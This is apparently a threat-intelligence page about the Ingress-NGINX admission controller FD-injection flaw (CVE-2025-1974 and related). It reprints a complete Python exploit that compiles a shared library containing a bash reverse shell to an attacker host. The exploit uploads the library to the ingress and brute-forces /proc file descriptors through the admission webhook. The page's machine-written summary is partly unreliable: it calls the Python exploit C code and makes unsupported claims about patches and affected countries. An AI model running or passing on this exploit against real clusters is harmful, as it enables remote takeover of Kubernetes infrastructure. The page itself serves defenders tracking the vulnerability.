Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
AI Analysis
Technical Summary
The Ingress-NGINX Admission Controller version 1.11.1 contains a critical vulnerability involving file descriptor (FD) injection that can be exploited to achieve remote code execution (RCE). The admission controller is a component used in Kubernetes environments to manage and validate ingress traffic configurations. The vulnerability arises because the controller improperly handles file descriptors, allowing an attacker to inject malicious descriptors that can be leveraged to execute arbitrary code on the host system. This flaw bypasses authentication mechanisms, enabling remote attackers to gain control over the system running the controller. The exploit code, written in C, suggests a sophisticated attack that manipulates low-level system resources, increasing the risk of stealthy and reliable exploitation. No patches or CVSS scores have been released yet, but the critical severity rating reflects the high impact and ease of exploitation. This vulnerability threatens the confidentiality, integrity, and availability of affected systems, potentially allowing attackers to deploy malware, disrupt services, or move laterally within cloud-native environments. Given the widespread adoption of Kubernetes and NGINX ingress controllers in cloud infrastructure globally, this vulnerability poses a significant risk to organizations relying on these technologies.
Potential Impact
The potential impact of this vulnerability is severe. Successful exploitation leads to remote code execution, granting attackers full control over the affected system. This can result in data breaches, unauthorized access to sensitive information, disruption of services, and the deployment of persistent malware or ransomware. In Kubernetes environments, compromising the ingress controller can allow attackers to manipulate network traffic, intercept or redirect requests, and escalate privileges within the cluster. The vulnerability undermines the security of cloud-native applications and infrastructure, potentially affecting multi-tenant environments and critical business operations. Organizations worldwide that rely on Ingress-NGINX Admission Controller 1.11.1 are at risk of significant operational and reputational damage if exploited.
Mitigation Recommendations
Organizations should immediately audit their Kubernetes environments to identify deployments running Ingress-NGINX Admission Controller version 1.11.1. Until an official patch is released, consider disabling or isolating the admission controller to limit exposure. Implement strict network segmentation and firewall rules to restrict access to the controller's endpoints. Employ runtime security tools and intrusion detection systems to monitor for anomalous behavior indicative of FD injection or RCE attempts. Regularly update Kubernetes components and ingress controllers to the latest stable versions once patches become available. Additionally, conduct thorough security reviews of admission controllers and enforce the principle of least privilege for service accounts and container permissions. Engage in proactive threat hunting for signs of exploitation and maintain robust incident response plans tailored to cloud-native environments.
Affected Countries
United States, Germany, United Kingdom, Canada, Australia, Netherlands, Japan, South Korea, France, India
Indicators of Compromise
- exploit-code: # Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://kubernetes.io # Software Link: https://github.com/kubernetes/ingress-nginx # Version: Affects v1.10.0 to v1.11.1 (potentially others) # Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster # CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974 import os import sys import socket import requests import threading from urllib.parse import urlparse from concurrent.futures import ThreadPoolExecutor import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # --- Embedded malicious shared object template --- MALICIOUS_C_TEMPLATE = """ #include <stdlib.h> __attribute__((constructor)) void run_on_load() { system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'"); } int bind(void *e, const char *id) { return 1; } void ENGINE_load_evil() {} int bind_engine() { return 1; } """ def compile_shared_library(host, port, output_file="evil_engine.so"): c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port)) with open("evil_engine.c", "w") as f: f.write(c_code) print("[*] Compiling malicious shared object...") result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto") if result == 0: print("[+] Shared object compiled successfully.") return True else: print("[!] Compilation failed. Is gcc installed?") return False def send_brute_request(admission_url, json_template, proc, fd): print(f"[*] Trying /proc/{proc}/fd/{fd}") path = f"proc/{proc}/fd/{fd}" payload = json_template.replace("REPLACE", path) headers = {"Content-Type": "application/json"} url = admission_url.rstrip("/") + "/admission" try: response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5) print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}") except Exception as e: print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}") def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5): try: with open(json_file, "r") as f: json_data = f.read() except FileNotFoundError: print(f"[!] Error: {json_file} not found.") return print("[*] Starting brute-force against the admission webhook...") with ThreadPoolExecutor(max_workers=max_workers) as executor: for proc in range(1, max_proc): for fd in range(3, max_fd): executor.submit(send_brute_request, admission_url, json_data, proc, fd) def upload_shared_library(ingress_url, shared_object="evil_engine.so"): try: with open(shared_object, "rb") as f: evil_payload = f.read() except FileNotFoundError: print(f"[!] Error: {shared_object} not found.") return parsed = urlparse(ingress_url) host = parsed.hostname port = parsed.port or 80 path = parsed.path or "/" try: sock = socket.create_connection((host, port)) except Exception as e: print(f"[!] Failed to connect to {host}:{port}: {e}") return fake_length = len(evil_payload) + 10 headers = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: qmx-ingress-exploiter\r\n" f"Content-Type: application/octet-stream\r\n" f"Content-Length: {fake_length}\r\n" f"Connection: keep-alive\r\n\r\n" ).encode("iso-8859-1") print("[*] Uploading malicious shared object to ingress...") sock.sendall(headers + evil_payload) response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk print("[*] Server response:\n") print(response.decode(errors="ignore")) sock.close() def main(): if len(sys.argv) != 4: print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>") sys.exit(1) ingress_url = sys.argv[1] admission_url = sys.argv[2] rev_host_port = sys.argv[3] if ':' not in rev_host_port: print("[!] Invalid format for rev_host:port.") sys.exit(1) host, port = rev_host_port.split(":") if not compile_shared_library(host, port): sys.exit(1) # Send the malicious shared object and keep the connection open upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,)) upload_thread.start() # Simultaneously brute-force the admission webhook for valid file descriptors brute_force_admission(admission_url) if __name__ == "__main__": main()
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
Description
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Ingress-NGINX Admission Controller version 1.11.1 contains a critical vulnerability involving file descriptor (FD) injection that can be exploited to achieve remote code execution (RCE). The admission controller is a component used in Kubernetes environments to manage and validate ingress traffic configurations. The vulnerability arises because the controller improperly handles file descriptors, allowing an attacker to inject malicious descriptors that can be leveraged to execute arbitrary code on the host system. This flaw bypasses authentication mechanisms, enabling remote attackers to gain control over the system running the controller. The exploit code, written in C, suggests a sophisticated attack that manipulates low-level system resources, increasing the risk of stealthy and reliable exploitation. No patches or CVSS scores have been released yet, but the critical severity rating reflects the high impact and ease of exploitation. This vulnerability threatens the confidentiality, integrity, and availability of affected systems, potentially allowing attackers to deploy malware, disrupt services, or move laterally within cloud-native environments. Given the widespread adoption of Kubernetes and NGINX ingress controllers in cloud infrastructure globally, this vulnerability poses a significant risk to organizations relying on these technologies.
Potential Impact
The potential impact of this vulnerability is severe. Successful exploitation leads to remote code execution, granting attackers full control over the affected system. This can result in data breaches, unauthorized access to sensitive information, disruption of services, and the deployment of persistent malware or ransomware. In Kubernetes environments, compromising the ingress controller can allow attackers to manipulate network traffic, intercept or redirect requests, and escalate privileges within the cluster. The vulnerability undermines the security of cloud-native applications and infrastructure, potentially affecting multi-tenant environments and critical business operations. Organizations worldwide that rely on Ingress-NGINX Admission Controller 1.11.1 are at risk of significant operational and reputational damage if exploited.
Mitigation Recommendations
Organizations should immediately audit their Kubernetes environments to identify deployments running Ingress-NGINX Admission Controller version 1.11.1. Until an official patch is released, consider disabling or isolating the admission controller to limit exposure. Implement strict network segmentation and firewall rules to restrict access to the controller's endpoints. Employ runtime security tools and intrusion detection systems to monitor for anomalous behavior indicative of FD injection or RCE attempts. Regularly update Kubernetes components and ingress controllers to the latest stable versions once patches become available. Additionally, conduct thorough security reviews of admission controllers and enforce the principle of least privilege for service accounts and container permissions. Engage in proactive threat hunting for signs of exploitation and maintain robust incident response plans tailored to cloud-native environments.
Technical Details
- Edb Id
- 52475
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
# Exploit Title: Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE # Date: 2025-10-07 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://kubernetes.io # Software Link: https://github.com/kubernetes/ingress-nginx # Version: Affects v1.10.0 to v1.11.1 (potentially others) # Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster # CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974 import os import sys import socket import requests import threading from url... (4266 more characters)
Threat ID: 69845ddcf9fa50a62f0fd4a1
Added to database: 2/5/2026, 9:07:40 AM
Last enriched: 2/28/2026, 3:03:41 PM
Last updated: 3/24/2026, 12:45:32 AM
Views: 56
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.